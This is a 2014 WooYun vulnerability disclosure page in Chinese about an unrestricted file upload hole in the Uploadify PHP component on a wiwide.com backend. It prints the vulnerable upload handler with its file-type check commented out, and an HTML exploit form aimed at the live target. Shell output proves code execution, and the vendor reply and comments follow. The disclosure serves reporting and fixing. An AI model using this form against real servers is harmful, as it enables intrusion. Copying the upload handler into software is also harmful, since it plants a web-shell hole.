迈外迪某后台使用第三方组件存在上传漏洞

发表于 2014年12月24日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2014-088423

漏洞标题：迈外迪某后台使用第三方组件存在上传漏洞

漏洞详情

披露状态：

2014-12-24: 细节已通知厂商并且等待厂商处理中
2014-12-26: 厂商已经确认，细节仅向厂商公开
2015-01-05: 细节向核心白帽子及相关领域专家公开
2015-01-15: 细节向普通白帽子公开
2015-01-25: 细节向实习白帽子公开
2015-02-07: 细节向公众公开

简要描述：

迈外迪某后台使用第三方组件存在上传漏洞

详细说明：

http://widash.wiwide.com/uploadify/scripts/_notes/dwsync.xml

1	http://widash.wiwide.com/uploadify/scripts/_notes/dwsync.xml

存在uploadify上传组件，有用到uploadify的程序都有这个上传问题

<?php<br>
/*<br>
Uploadify v2.1.4<br>
Release Date: November 8, 2010Copyright (c) 2010 Ronnie Garcia, Travis NickelsPermission is hereby granted, free of charge, to any person obtaining a copy<br>
of this software and associated documentation files (the "Software"), to deal<br>
in the Software without restriction, including without limitation the rights<br>
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell<br>
copies of the Software, and to permit persons to whom the Software is<br>
furnished to do so, subject to the following conditions:The above copyright notice and this permission notice shall be included in<br>
all copies or substantial portions of the Software.THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR<br>
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,<br>
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE<br>
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER<br>
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,<br>
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN<br>
THE SOFTWARE.<br>
*/<br>
if (!empty($_FILES)) {<br>
	$tempFile = $_FILES['Filedata']['tmp_name'];<br>
	echo $tempFile;<br>
	$targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';<br>
	$targetFile =  str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];// $fileTypes  = str_replace('*.','',$_REQUEST['fileext']);<br>
	// $fileTypes  = str_replace(';','|',$fileTypes);<br>
	// $typesArray = split('\|',$fileTypes);<br>
	// $fileParts  = pathinfo($_FILES['Filedata']['name']);// if (in_array($fileParts['extension'],$typesArray)) {<br>
		// Uncomment the following line if you want to make the directory if it doesn't exist<br>
		// mkdir(str_replace('//','/',$targetPath), 0755, true);move_uploaded_file($tempFile,$targetFile);<br>
		echo $targetFile;<br>
		echo str_replace($_SERVER['DOCUMENT_ROOT'],'',$targetFile);<br>
	// } else {<br>
	// 	echo 'Invalid file type.';<br>
	// }<br>
}<br>
?>

<?php

/*

Uploadify v2.1.4

of this software and associated documentation files (the "Software"), to deal

in the Software without restriction, including without limitation the rights

to use, copy, modify, merge, publish, distribute, sublicense, and/or sell

copies of the Software, and to permit persons to whom the Software is

furnished to do so, subject to the following conditions:The above copyright notice and this permission notice shall be included in

all copies or substantial portions of the Software.THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR

IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,

FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE

AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER

LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,

OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN

THE SOFTWARE.

*/

if (!empty($_FILES)) {

$tempFile = $_FILES['Filedata']['tmp_name'];

echo $tempFile;

$targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';

$targetFile = str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];// $fileTypes = str_replace('*.','',$_REQUEST['fileext']);

// $fileTypes = str_replace(';','|',$fileTypes);

// $typesArray = split('\|',$fileTypes);

// $fileParts = pathinfo($_FILES['Filedata']['name']);// if (in_array($fileParts['extension'],$typesArray)) {

// Uncomment the following line if you want to make the directory if it doesn't exist

// mkdir(str_replace('//','/',$targetPath), 0755, true);move_uploaded_file($tempFile,$targetFile);

echo $targetFile;

echo str_replace($_SERVER['DOCUMENT_ROOT'],'',$targetFile);

// } else {

// echo 'Invalid file type.';

// }

}

漏洞利用：上传文件到网站DOCUMENT_ROOT目录下

<html><br>
<body><br>
<form action="http://widash.wiwide.com/uploadify/scripts/uploadify.php" method="post" enctype="multipart/form-data"><br>
<input name="Filedata" type="file" /><br>
<input name='folder' type='text' value="/"><br>
<input name="sub" type="submit" value="upload" /><br>
</form><br>
</body><br>
</html>

<html>

<body>

</form>

</body>

</html>

漏洞证明：

$whoami<br>
www-data<br>
$pwd<br>
/home/wiwide/20141030/src/www

$whoami

www-data

$pwd

/home/wiwide/20141030/src/www

修复方案：

尽量不要使用第三方组件，还被人扫描到

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2014-12-2616:00

厂商回复：

问题已经确认，多谢白帽子的反馈！

评价

2010-01-01 00:00 backtrack丶yao 白帽子 | Rank:0 漏洞数:0)

前排留名
2010-01-01 00:00 子非海绵宝宝白帽子 | Rank:1220 漏洞数:113)

人家都说轻点了....修不过来了..
2010-01-01 00:00 Mr.leo 白帽子 | Rank:932 漏洞数:80)

@猪猪侠猪哥还差第三弹呢，哈哈
2010-01-01 00:00 泳少白帽子 | Rank:158 漏洞数:20)

疼。轻点
2010-01-01 00:00 第四维度白帽子 | Rank:40 漏洞数:4)

不鸣则已，一鸣惊人
2010-01-01 00:00 azuer 白帽子 | Rank:105 漏洞数:14)

亲润度不够慢点！！
2010-01-01 00:00 f4ck 白帽子 | Rank:18 漏洞数:1)

难道是wordpress插件？
2010-01-01 00:00 ’‘Nome 白帽子 | Rank:57 漏洞数:7)

@猪猪侠，人家肚子好痛了，姿势一定要选对。
2010-01-01 00:00 看什麼看白帽子 | Rank:12 漏洞数:2)

@猪猪侠我很好奇，这破公司才66个员工，猪哥搞他为什么呢？
2010-01-01 00:00 茜茜公主白帽子 | Rank:899 漏洞数:85)

有礼物
2010-01-01 00:00 紫霞仙子白帽子 | Rank:885 漏洞数:70)

一发接一发
2010-01-01 00:00 看什麼看白帽子 | Rank:12 漏洞数:2)

@茜茜公主根据我看到的资料，基本上是小白公司～～

原文连接：迈外迪某后台使用第三方组件存在上传漏洞 所有媒体，可在保留署名、原文连接的情况下转载，若非则不得使用我方内容。

迈外迪某后台使用第三方组件存在上传漏洞

漏洞概要

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

漏洞回应

厂商回应：

厂商回复：

最新状态：

评价